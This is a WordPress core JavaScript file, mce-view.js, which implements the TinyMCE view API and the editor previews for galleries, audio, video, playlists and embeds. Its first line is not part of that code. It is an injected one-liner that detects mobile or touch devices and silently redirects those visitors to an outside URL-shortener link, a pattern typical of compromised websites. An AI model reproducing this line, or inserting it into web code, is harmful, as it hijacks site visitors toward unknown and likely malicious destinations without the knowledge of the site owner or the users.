1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/mce-view.js
4 */
5
6/* global tinymce */
7
8/*
9 * The TinyMCE view API.
10 *
11 * Note: this API is "experimental" meaning that it will probably change
12 * in the next few releases based on feedback from 3.9.0.
13 * If you decide to use it, please follow the development closely.
14 *
15 * Diagram
16 *
17 * |- registered view constructor (type)
18 * | |- view instance (unique text)
19 * | | |- editor 1
20 * | | | |- view node
21 * | | | |- view node
22 * | | | |- ...
23 * | | |- editor 2
24 * | | | |- ...
25 * | |- view instance
26 * | | |- ...
27 * |- registered view
28 * | |- ...
29 */
30( function( window, wp, shortcode, $ ) {
31 'use strict';
32
33 var views = {},
34 instances = {};
35
36 wp.mce = wp.mce || {};
37
38 /**
39 * wp.mce.views
40 *
41 * A set of utilities that simplifies adding custom UI within a TinyMCE editor.
42 * At its core, it serves as a series of converters, transforming text to a
43 * custom UI, and back again.
44 */
45 wp.mce.views = {
46
47 /**
48 * Registers a new view type.
49 *
50 * @param {string} type The view type.
51 * @param {Object} extend An object to extend wp.mce.View.prototype with.
52 */
53 register: function( type, extend ) {
54 views[ type ] = wp.mce.View.extend( _.extend( extend, { type: type } ) );
55 },
56
57 /**
58 * Unregisters a view type.
59 *
60 * @param {string} type The view type.
61 */
62 unregister: function( type ) {
63 delete views[ type ];
64 },
65
66 /**
67 * Returns the settings of a view type.
68 *
69 * @param {string} type The view type.
70 *
71 * @return {Function} The view constructor.
72 */
73 get: function( type ) {
74 return views[ type ];
75 },
76
77 /**
78 * Unbinds all view nodes.
79 * Runs before removing all view nodes from the DOM.
80 */
81 unbind: function() {
82 _.each( instances, function( instance ) {
83 instance.unbind();
84 } );
85 },
86
87 /**
88 * Scans a given string for each view's pattern,
89 * replacing any matches with markers,
90 * and creates a new instance for every match.
91 *
92 * @param {string} content The string to scan.
93 * @param {tinymce.Editor} editor The editor.
94 *
95 * @return {string} The string with markers.
96 */
97 setMarkers: function( content, editor ) {
98 var pieces = [ { content: content } ],
99 self = this,
100 instance, current;
101
102 _.each( views, function( view, type ) {
103 current = pieces.slice();
104 pieces = [];
105
106 _.each( current, function( piece ) {
107 var remaining = piece.content,
108 result, text;
109
110 // Ignore processed pieces, but retain their location.
111 if ( piece.processed ) {
112 pieces.push( piece );
113 return;
114 }
115
116 // Iterate through the string progressively matching views
117 // and slicing the string as we go.
118 while ( remaining && ( result = view.prototype.match( remaining ) ) ) {
119 // Any text before the match becomes an unprocessed piece.
120 if ( result.index ) {
121 pieces.push( { content: remaining.substring( 0, result.index ) } );
122 }
123
124 result.options.editor = editor;
125 instance = self.createInstance( type, result.content, result.options );
126 text = instance.loader ? '.' : instance.text;
127
128 // Add the processed piece for the match.
129 pieces.push( {
130 content: instance.ignore ? text : '<p data-wpview-marker="' + instance.encodedText + '">' + text + '</p>',
131 processed: true
132 } );
133
134 // Update the remaining content.
135 remaining = remaining.slice( result.index + result.content.length );
136 }
137
138 // There are no additional matches.
139 // If any content remains, add it as an unprocessed piece.
140 if ( remaining ) {
141 pieces.push( { content: remaining } );
142 }
143 } );
144 } );
145
146 content = _.pluck( pieces, 'content' ).join( '' );
147 return content.replace( /<p>\s*<p data-wpview-marker=/g, '<p data-wpview-marker=' ).replace( /<\/p>\s*<\/p>/g, '</p>' );
148 },
149
150 /**
151 * Create a view instance.
152 *
153 * @param {string} type The view type.
154 * @param {string} text The textual representation of the view.
155 * @param {Object} options Options.
156 * @param {boolean} force Recreate the instance. Optional.
157 *
158 * @return {wp.mce.View} The view instance.
159 */
160 createInstance: function( type, text, options, force ) {
161 var View = this.get( type ),
162 encodedText,
163 instance;
164
165 if ( text.indexOf( '[' ) !== -1 && text.indexOf( ']' ) !== -1 ) {
166 // Looks like a shortcode? Remove any line breaks from inside of shortcodes
167 // or autop will replace them with <p> and <br> later and the string won't match.
168 text = text.replace( /\[[^\]]+\]/g, function( match ) {
169 return match.replace( /[\r\n]/g, '' );
170 });
171 }
172
173 if ( ! force ) {
174 instance = this.getInstance( text );
175
176 if ( instance ) {
177 return instance;
178 }
179 }
180
181 encodedText = encodeURIComponent( text );
182
183 options = _.extend( options || {}, {
184 text: text,
185 encodedText: encodedText
186 } );
187
188 return instances[ encodedText ] = new View( options );
189 },
190
191 /**
192 * Get a view instance.
193 *
194 * @param {(string|HTMLElement)} object The textual representation of the view or the view node.
195 *
196 * @return {wp.mce.View} The view instance or undefined.
197 */
198 getInstance: function( object ) {
199 if ( typeof object === 'string' ) {
200 return instances[ encodeURIComponent( object ) ];
201 }
202
203 return instances[ $( object ).attr( 'data-wpview-text' ) ];
204 },
205
206 /**
207 * Given a view node, get the view's text.
208 *
209 * @param {HTMLElement} node The view node.
210 *
211 * @return {string} The textual representation of the view.
212 */
213 getText: function( node ) {
214 return decodeURIComponent( $( node ).attr( 'data-wpview-text' ) || '' );
215 },
216
217 /**
218 * Renders all view nodes that are not yet rendered.
219 *
220 * @param {boolean} force Rerender all view nodes.
221 */
222 render: function( force ) {
223 _.each( instances, function( instance ) {
224 instance.render( null, force );
225 } );
226 },
227
228 /**
229 * Update the text of a given view node.
230 *
231 * @param {string} text The new text.
232 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
233 * @param {HTMLElement} node The view node to update.
234 * @param {boolean} force Recreate the instance. Optional.
235 */
236 update: function( text, editor, node, force ) {
237 var instance = this.getInstance( node );
238
239 if ( instance ) {
240 instance.update( text, editor, node, force );
241 }
242 },
243
244 /**
245 * Renders any editing interface based on the view type.
246 *
247 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
248 * @param {HTMLElement} node The view node to edit.
249 */
250 edit: function( editor, node ) {
251 var instance = this.getInstance( node );
252
253 if ( instance && instance.edit ) {
254 instance.edit( instance.text, function( text, force ) {
255 instance.update( text, editor, node, force );
256 } );
257 }
258 },
259
260 /**
261 * Remove a given view node from the DOM.
262 *
263 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
264 * @param {HTMLElement} node The view node to remove.
265 */
266 remove: function( editor, node ) {
267 var instance = this.getInstance( node );
268
269 if ( instance ) {
270 instance.remove( editor, node );
271 }
272 }
273 };
274
275 /**
276 * A Backbone-like View constructor intended for use when rendering a TinyMCE View.
277 * The main difference is that the TinyMCE View is not tied to a particular DOM node.
278 *
279 * @param {Object} options Options.
280 */
281 wp.mce.View = function( options ) {
282 _.extend( this, options );
283 this.initialize();
284 };
285
286 wp.mce.View.extend = Backbone.View.extend;
287
288 _.extend( wp.mce.View.prototype, /** @lends wp.mce.View.prototype */{
289
290 /**
291 * The content.
292 *
293 * @type {*}
294 */
295 content: null,
296
297 /**
298 * Whether or not to display a loader.
299 *
300 * @type {Boolean}
301 */
302 loader: true,
303
304 /**
305 * Runs after the view instance is created.
306 */
307 initialize: function() {},
308
309 /**
310 * Returns the content to render in the view node.
311 *
312 * @return {*}
313 */
314 getContent: function() {
315 return this.content;
316 },
317
318 /**
319 * Renders all view nodes tied to this view instance that are not yet rendered.
320 *
321 * @param {string} content The content to render. Optional.
322 * @param {boolean} force Rerender all view nodes tied to this view instance. Optional.
323 */
324 render: function( content, force ) {
325 if ( content != null ) {
326 this.content = content;
327 }
328
329 content = this.getContent();
330
331 // If there's nothing to render an no loader needs to be shown, stop.
332 if ( ! this.loader && ! content ) {
333 return;
334 }
335
336 // We're about to rerender all views of this instance, so unbind rendered views.
337 force && this.unbind();
338
339 // Replace any left over markers.
340 this.replaceMarkers();
341
342 if ( content ) {
343 this.setContent( content, function( editor, node ) {
344 $( node ).data( 'rendered', true );
345 this.bindNode.call( this, editor, node );
346 }, force ? null : false );
347 } else {
348 this.setLoader();
349 }
350 },
351
352 /**
353 * Binds a given node after its content is added to the DOM.
354 */
355 bindNode: function() {},
356
357 /**
358 * Unbinds a given node before its content is removed from the DOM.
359 */
360 unbindNode: function() {},
361
362 /**
363 * Unbinds all view nodes tied to this view instance.
364 * Runs before their content is removed from the DOM.
365 */
366 unbind: function() {
367 this.getNodes( function( editor, node ) {
368 this.unbindNode.call( this, editor, node );
369 }, true );
370 },
371
372 /**
373 * Gets all the TinyMCE editor instances that support views.
374 *
375 * @param {Function} callback A callback.
376 */
377 getEditors: function( callback ) {
378 _.each( tinymce.editors, function( editor ) {
379 if ( editor.plugins.wpview ) {
380 callback.call( this, editor );
381 }
382 }, this );
383 },
384
385 /**
386 * Gets all view nodes tied to this view instance.
387 *
388 * @param {Function} callback A callback.
389 * @param {boolean} rendered Get (un)rendered view nodes. Optional.
390 */
391 getNodes: function( callback, rendered ) {
392 this.getEditors( function( editor ) {
393 var self = this;
394
395 $( editor.getBody() )
396 .find( '[data-wpview-text="' + self.encodedText + '"]' )
397 .filter( function() {
398 var data;
399
400 if ( rendered == null ) {
401 return true;
402 }
403
404 data = $( this ).data( 'rendered' ) === true;
405
406 return rendered ? data : ! data;
407 } )
408 .each( function() {
409 callback.call( self, editor, this, this /* back compat */ );
410 } );
411 } );
412 },
413
414 /**
415 * Gets all marker nodes tied to this view instance.
416 *
417 * @param {Function} callback A callback.
418 */
419 getMarkers: function( callback ) {
420 this.getEditors( function( editor ) {
421 var self = this;
422
423 $( editor.getBody() )
424 .find( '[data-wpview-marker="' + this.encodedText + '"]' )
425 .each( function() {
426 callback.call( self, editor, this );
427 } );
428 } );
429 },
430
431 /**
432 * Replaces all marker nodes tied to this view instance.
433 */
434 replaceMarkers: function() {
435 this.getMarkers( function( editor, node ) {
436 var selected = node === editor.selection.getNode();
437 var $viewNode;
438
439 if ( ! this.loader && $( node ).text() !== tinymce.DOM.decode( this.text ) ) {
440 editor.dom.setAttrib( node, 'data-wpview-marker', null );
441 return;
442 }
443
444 $viewNode = editor.$(
445 '<div class="wpview wpview-wrap" data-wpview-text="' + this.encodedText + '" data-wpview-type="' + this.type + '" contenteditable="false"></div>'
446 );
447
448 editor.undoManager.ignore( function() {
449 editor.$( node ).replaceWith( $viewNode );
450 } );
451
452 if ( selected ) {
453 setTimeout( function() {
454 editor.undoManager.ignore( function() {
455 editor.selection.select( $viewNode[0] );
456 editor.selection.collapse();
457 } );
458 } );
459 }
460 } );
461 },
462
463 /**
464 * Removes all marker nodes tied to this view instance.
465 */
466 removeMarkers: function() {
467 this.getMarkers( function( editor, node ) {
468 editor.dom.setAttrib( node, 'data-wpview-marker', null );
469 } );
470 },
471
472 /**
473 * Sets the content for all view nodes tied to this view instance.
474 *
475 * @param {*} content The content to set.
476 * @param {Function} callback A callback. Optional.
477 * @param {boolean} rendered Only set for (un)rendered nodes. Optional.
478 */
479 setContent: function( content, callback, rendered ) {
480 if ( _.isObject( content ) && ( content.sandbox || content.head || content.body.indexOf( '<script' ) !== -1 ) ) {
481 this.setIframes( content.head || '', content.body, callback, rendered );
482 } else if ( _.isString( content ) && content.indexOf( '<script' ) !== -1 ) {
483 this.setIframes( '', content, callback, rendered );
484 } else {
485 this.getNodes( function( editor, node ) {
486 content = content.body || content;
487
488 if ( content.indexOf( '<iframe' ) !== -1 ) {
489 content += '<span class="mce-shim"></span>';
490 }
491
492 editor.undoManager.transact( function() {
493 node.innerHTML = '';
494 node.appendChild( _.isString( content ) ? editor.dom.createFragment( content ) : content );
495 editor.dom.add( node, 'span', { 'class': 'wpview-end' } );
496 } );
497
498 callback && callback.call( this, editor, node );
499 }, rendered );
500 }
501 },
502
503 /**
504 * Sets the content in an iframe for all view nodes tied to this view instance.
505 *
506 * @param {string} head HTML string to be added to the head of the document.
507 * @param {string} body HTML string to be added to the body of the document.
508 * @param {Function} callback A callback. Optional.
509 * @param {boolean} rendered Only set for (un)rendered nodes. Optional.
510 */
511 setIframes: function( head, body, callback, rendered ) {
512 var self = this;
513
514 if ( body.indexOf( '[' ) !== -1 && body.indexOf( ']' ) !== -1 ) {
515 var shortcodesRegExp = new RegExp( '\\[\\/?(?:' + window.mceViewL10n.shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
516 // Escape tags inside shortcode previews.
517 body = body.replace( shortcodesRegExp, function( match ) {
518 return match.replace( /</g, '<' ).replace( />/g, '>' );
519 } );
520 }
521
522 this.getNodes( function( editor, node ) {
523 var dom = editor.dom,
524 styles = '',
525 bodyClasses = editor.getBody().className || '',
526 editorHead = editor.getDoc().getElementsByTagName( 'head' )[0],
527 iframe, iframeWin, iframeDoc, MutationObserver, observer, i, block;
528
529 tinymce.each( dom.$( 'link[rel="stylesheet"]', editorHead ), function( link ) {
530 if ( link.href && link.href.indexOf( 'skins/lightgray/content.min.css' ) === -1 &&
531 link.href.indexOf( 'skins/wordpress/wp-content.css' ) === -1 ) {
532
533 styles += dom.getOuterHTML( link );
534 }
535 } );
536
537 if ( self.iframeHeight ) {
538 dom.add( node, 'span', {
539 'data-mce-bogus': 1,
540 style: {
541 display: 'block',
542 width: '100%',
543 height: self.iframeHeight
544 }
545 }, '\u200B' );
546 }
547
548 editor.undoManager.transact( function() {
549 node.innerHTML = '';
550
551 iframe = dom.add( node, 'iframe', {
552 /* jshint scripturl: true */
553 src: tinymce.Env.ie ? 'javascript:""' : '',
554 frameBorder: '0',
555 allowTransparency: 'true',
556 scrolling: 'no',
557 'class': 'wpview-sandbox',
558 style: {
559 width: '100%',
560 display: 'block'
561 },
562 height: self.iframeHeight
563 } );
564
565 dom.add( node, 'span', { 'class': 'mce-shim' } );
566 dom.add( node, 'span', { 'class': 'wpview-end' } );
567 } );
568
569 /*
570 * Bail if the iframe node is not attached to the DOM.
571 * Happens when the view is dragged in the editor.
572 * There is a browser restriction when iframes are moved in the DOM. They get emptied.
573 * The iframe will be rerendered after dropping the view node at the new location.
574 */
575 if ( ! iframe.contentWindow ) {
576 return;
577 }
578
579 iframeWin = iframe.contentWindow;
580 iframeDoc = iframeWin.document;
581 iframeDoc.open();
582
583 iframeDoc.write(
584 '<!DOCTYPE html>' +
585 '<html>' +
586 '<head>' +
587 '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />' +
588 head +
589 styles +
590 '<style>' +
591 'html {' +
592 'background: transparent;' +
593 'padding: 0;' +
594 'margin: 0;' +
595 '}' +
596 'body#wpview-iframe-sandbox {' +
597 'background: transparent;' +
598 'padding: 1px 0 !important;' +
599 'margin: -1px 0 0 !important;' +
600 '}' +
601 'body#wpview-iframe-sandbox:before,' +
602 'body#wpview-iframe-sandbox:after {' +
603 'display: none;' +
604 'content: "";' +
605 '}' +
606 'iframe {' +
607 'max-width: 100%;' +
608 '}' +
609 '</style>' +
610 '</head>' +
611 '<body id="wpview-iframe-sandbox" class="' + bodyClasses + '">' +
612 body +
613 '</body>' +
614 '</html>'
615 );
616
617 iframeDoc.close();
618
619 function resize() {
620 var $iframe;
621
622 if ( block ) {
623 return;
624 }
625
626 // Make sure the iframe still exists.
627 if ( iframe.contentWindow ) {
628 $iframe = $( iframe );
629 self.iframeHeight = $( iframeDoc.body ).height();
630
631 if ( $iframe.height() !== self.iframeHeight ) {
632 $iframe.height( self.iframeHeight );
633 editor.nodeChanged();
634 }
635 }
636 }
637
638 if ( self.iframeHeight ) {
639 block = true;
640
641 setTimeout( function() {
642 block = false;
643 resize();
644 }, 3000 );
645 }
646
647 function addObserver() {
648 observer = new MutationObserver( _.debounce( resize, 100 ) );
649
650 observer.observe( iframeDoc.body, {
651 attributes: true,
652 childList: true,
653 subtree: true
654 } );
655 }
656
657 $( iframeWin ).on( 'load', resize );
658
659 MutationObserver = iframeWin.MutationObserver || iframeWin.WebKitMutationObserver || iframeWin.MozMutationObserver;
660
661 if ( MutationObserver ) {
662 if ( ! iframeDoc.body ) {
663 iframeDoc.addEventListener( 'DOMContentLoaded', addObserver, false );
664 } else {
665 addObserver();
666 }
667 } else {
668 for ( i = 1; i < 6; i++ ) {
669 setTimeout( resize, i * 700 );
670 }
671 }
672
673 callback && callback.call( self, editor, node );
674 }, rendered );
675 },
676
677 /**
678 * Sets a loader for all view nodes tied to this view instance.
679 */
680 setLoader: function( dashicon ) {
681 this.setContent(
682 '<div class="loading-placeholder">' +
683 '<div class="dashicons dashicons-' + ( dashicon || 'admin-media' ) + '"></div>' +
684 '<div class="wpview-loading"><ins></ins></div>' +
685 '</div>'
686 );
687 },
688
689 /**
690 * Sets an error for all view nodes tied to this view instance.
691 *
692 * @param {string} message The error message to set.
693 * @param {string} dashicon A dashicon ID. Optional. {@link https://developer.wordpress.org/resource/dashicons/}
694 */
695 setError: function( message, dashicon ) {
696 this.setContent(
697 '<div class="wpview-error">' +
698 '<div class="dashicons dashicons-' + ( dashicon || 'no' ) + '"></div>' +
699 '<p>' + message + '</p>' +
700 '</div>'
701 );
702 },
703
704 /**
705 * Tries to find a text match in a given string.
706 *
707 * @param {string} content The string to scan.
708 *
709 * @return {Object}
710 */
711 match: function( content ) {
712 var match = shortcode.next( this.type, content );
713
714 if ( match ) {
715 return {
716 index: match.index,
717 content: match.content,
718 options: {
719 shortcode: match.shortcode
720 }
721 };
722 }
723 },
724
725 /**
726 * Update the text of a given view node.
727 *
728 * @param {string} text The new text.
729 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
730 * @param {HTMLElement} node The view node to update.
731 * @param {boolean} force Recreate the instance. Optional.
732 */
733 update: function( text, editor, node, force ) {
734 _.find( views, function( view, type ) {
735 var match = view.prototype.match( text );
736
737 if ( match ) {
738 $( node ).data( 'rendered', false );
739 editor.dom.setAttrib( node, 'data-wpview-text', encodeURIComponent( text ) );
740 wp.mce.views.createInstance( type, text, match.options, force ).render();
741
742 editor.selection.select( node );
743 editor.nodeChanged();
744 editor.focus();
745
746 return true;
747 }
748 } );
749 },
750
751 /**
752 * Remove a given view node from the DOM.
753 *
754 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
755 * @param {HTMLElement} node The view node to remove.
756 */
757 remove: function( editor, node ) {
758 this.unbindNode.call( this, editor, node );
759 editor.dom.remove( node );
760 editor.focus();
761 }
762 } );
763} )( window, window.wp, window.wp.shortcode, window.jQuery );
764
765/*
766 * The WordPress core TinyMCE views.
767 * Views for the gallery, audio, video, playlist and embed shortcodes,
768 * and a view for embeddable URLs.
769 */
770( function( window, views, media, $ ) {
771 var base, gallery, av, embed,
772 schema, parser, serializer;
773
774 function verifyHTML( string ) {
775 var settings = {};
776
777 if ( ! window.tinymce ) {
778 return string.replace( /<[^>]+>/g, '' );
779 }
780
781 if ( ! string || ( string.indexOf( '<' ) === -1 && string.indexOf( '>' ) === -1 ) ) {
782 return string;
783 }
784
785 schema = schema || new window.tinymce.html.Schema( settings );
786 parser = parser || new window.tinymce.html.DomParser( settings, schema );
787 serializer = serializer || new window.tinymce.html.Serializer( settings, schema );
788
789 return serializer.serialize( parser.parse( string, { forced_root_block: false } ) );
790 }
791
792 base = {
793 state: [],
794
795 edit: function( text, update ) {
796 var type = this.type,
797 frame = media[ type ].edit( text );
798
799 this.pausePlayers && this.pausePlayers();
800
801 _.each( this.state, function( state ) {
802 frame.state( state ).on( 'update', function( selection ) {
803 update( media[ type ].shortcode( selection ).string(), type === 'gallery' );
804 } );
805 } );
806
807 frame.on( 'close', function() {
808 frame.detach();
809 } );
810
811 frame.open();
812 }
813 };
814
815 gallery = _.extend( {}, base, {
816 state: [ 'gallery-edit' ],
817 template: media.template( 'editor-gallery' ),
818
819 initialize: function() {
820 var attachments = media.gallery.attachments( this.shortcode, media.view.settings.post.id ),
821 attrs = this.shortcode.attrs.named,
822 self = this;
823
824 attachments.more()
825 .done( function() {
826 attachments = attachments.toJSON();
827
828 _.each( attachments, function( attachment ) {
829 if ( attachment.sizes ) {
830 if ( attrs.size && attachment.sizes[ attrs.size ] ) {
831 attachment.thumbnail = attachment.sizes[ attrs.size ];
832 } else if ( attachment.sizes.thumbnail ) {
833 attachment.thumbnail = attachment.sizes.thumbnail;
834 } else if ( attachment.sizes.full ) {
835 attachment.thumbnail = attachment.sizes.full;
836 }
837 }
838 } );
839
840 self.render( self.template( {
841 verifyHTML: verifyHTML,
842 attachments: attachments,
843 columns: attrs.columns ? parseInt( attrs.columns, 10 ) : media.galleryDefaults.columns
844 } ) );
845 } )
846 .fail( function( jqXHR, textStatus ) {
847 self.setError( textStatus );
848 } );
849 }
850 } );
851
852 av = _.extend( {}, base, {
853 action: 'parse-media-shortcode',
854
855 initialize: function() {
856 var self = this, maxwidth = null;
857
858 if ( this.url ) {
859 this.loader = false;
860 this.shortcode = media.embed.shortcode( {
861 url: this.text
862 } );
863 }
864
865 // Obtain the target width for the embed.
866 if ( self.editor ) {
867 maxwidth = self.editor.getBody().clientWidth;
868 }
869
870 wp.ajax.post( this.action, {
871 post_ID: media.view.settings.post.id,
872 type: this.shortcode.tag,
873 shortcode: this.shortcode.string(),
874 maxwidth: maxwidth
875 } )
876 .done( function( response ) {
877 self.render( response );
878 } )
879 .fail( function( response ) {
880 if ( self.url ) {
881 self.ignore = true;
882 self.removeMarkers();
883 } else {
884 self.setError( response.message || response.statusText, 'admin-media' );
885 }
886 } );
887
888 this.getEditors( function( editor ) {
889 editor.on( 'wpview-selected', function() {
890 self.pausePlayers();
891 } );
892 } );
893 },
894
895 pausePlayers: function() {
896 this.getNodes( function( editor, node, content ) {
897 var win = $( 'iframe.wpview-sandbox', content ).get( 0 );
898
899 if ( win && ( win = win.contentWindow ) && win.mejs ) {
900 _.each( win.mejs.players, function( player ) {
901 try {
902 player.pause();
903 } catch ( e ) {}
904 } );
905 }
906 } );
907 }
908 } );
909
910 embed = _.extend( {}, av, {
911 action: 'parse-embed',
912
913 edit: function( text, update ) {
914 var frame = media.embed.edit( text, this.url ),
915 self = this;
916
917 this.pausePlayers();
918
919 frame.state( 'embed' ).props.on( 'change:url', function( model, url ) {
920 if ( url && model.get( 'url' ) ) {
921 frame.state( 'embed' ).metadata = model.toJSON();
922 }
923 } );
924
925 frame.state( 'embed' ).on( 'select', function() {
926 var data = frame.state( 'embed' ).metadata;
927
928 if ( self.url ) {
929 update( data.url );
930 } else {
931 update( media.embed.shortcode( data ).string() );
932 }
933 } );
934
935 frame.on( 'close', function() {
936 frame.detach();
937 } );
938
939 frame.open();
940 }
941 } );
942
943 views.register( 'gallery', _.extend( {}, gallery ) );
944
945 views.register( 'audio', _.extend( {}, av, {
946 state: [ 'audio-details' ]
947 } ) );
948
949 views.register( 'video', _.extend( {}, av, {
950 state: [ 'video-details' ]
951 } ) );
952
953 views.register( 'playlist', _.extend( {}, av, {
954 state: [ 'playlist-edit', 'video-playlist-edit' ]
955 } ) );
956
957 views.register( 'embed', _.extend( {}, embed ) );
958
959 views.register( 'embedURL', _.extend( {}, embed, {
960 match: function( content ) {
961 // There may be a "bookmark" node next to the URL...
962 var re = /(^|<p>(?:<span data-mce-type="bookmark"[^>]+>\s*<\/span>)?)(https?:\/\/[^\s"]+?)((?:<span data-mce-type="bookmark"[^>]+>\s*<\/span>)?<\/p>\s*|$)/gi;
963 var match = re.exec( content );
964
965 if ( match ) {
966 return {
967 index: match.index + match[1].length,
968 content: match[2],
969 options: {
970 url: true
971 }
972 };
973 }
974 }
975 } ) );
976} )( window, window.wp.mce.views, window.wp.media, window.jQuery );
977